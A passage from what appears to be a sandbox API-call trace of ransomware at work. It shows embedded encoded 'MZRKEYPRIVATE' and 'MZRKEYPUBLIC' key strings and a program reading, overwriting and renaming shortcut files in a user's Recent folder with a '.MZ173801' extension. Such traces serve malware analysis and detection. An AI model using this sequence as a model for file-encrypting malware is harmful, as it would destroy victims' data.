lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.669] GetCurrentThreadId () returned 0xab4 [0152.669] GetCurrentThreadId () returned 0xab4 [0152.669] GetCurrentThreadId () returned 0xab4 [0152.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.670] GetCurrentThreadId () returned 0xab4 [0152.670] GetCurrentThreadId () returned 0xab4 [0152.670] GetCurrentThreadId () returned 0xab4 [0152.670] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WVzot.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wvzot.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.670] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.670] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.670] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x45b [0152.670] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.670] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x45b, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x45b, lpOverlapped=0x0) returned 1 [0152.671] CloseHandle (hObject=0x280) returned 1 [0152.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WVzot.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wvzot.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.707] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x45b, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x45b, lpOverlapped=0x0) returned 1 [0152.708] CloseHandle (hObject=0x280) returned 1 [0152.709] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WVzot.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wvzot.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WVzot.flv.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wvzot.flv.lnk.mz173801")) returned 1 [0152.709] GetCurrentThreadId () returned 0xab4 [0152.709] GetCurrentThreadId () returned 0xab4 [0152.709] GetCurrentThreadId () returned 0xab4 [0152.709] GetCurrentThreadId () returned 0xab4 [0152.709] GetCurrentThreadId () returned 0xab4 [0152.709] GetCurrentThreadId () returned 0xab4 [0152.709] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b8d70bc, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b8d70bc, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5b8d70bc, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="ww0uvocct0qsPBwJa 7.lnk", cAlternateFileName="WW0UVO~1.LNK")) returned 1 [0152.710] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.710] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.710] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww0uvocct0qsPBwJa 7.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ww0uvocct0qspbwja 7.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b8d70bc, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b8d70bc, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5b8d70bc, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x44e)) returned 1 [0152.710] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww0uvocct0qsPBwJa 7.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ww0uvocct0qspbwja 7.lnk")) returned 0x20 [0152.710] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww0uvocct0qsPBwJa 7.lnk", dwFileAttributes=0x80) returned 1 [0152.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 